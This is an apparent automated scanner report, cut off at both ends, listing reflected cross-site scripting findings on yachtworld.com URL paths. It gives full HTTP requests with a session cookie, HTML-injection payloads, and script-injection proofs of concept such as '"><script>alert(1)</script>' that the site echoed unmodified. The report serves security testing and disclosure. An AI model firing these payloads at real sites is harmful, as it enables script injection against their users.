s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:31 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a974"><a>7ac8c1119d3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Viking2a974"><a>7ac8c1119d3/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a34ab"><script>alert(1)</script>83b3d715e6b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Viking/1a34ab"><script>alert(1)</script>83b3d715e6b HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a2c7"><script>alert(1)</script>cd709be7fb4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type4a2c7"><script>alert(1)</script>cd709be7fb4/Wellcraft/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80950"><a>1be00cce2bc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Wellcraft80950"><a>1be00cce2bc/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a5d1"><script>alert(1)</script>2041f45c7df was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Wellcraft/16a5d1"><script>alert(1)</script>2041f45c7df HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 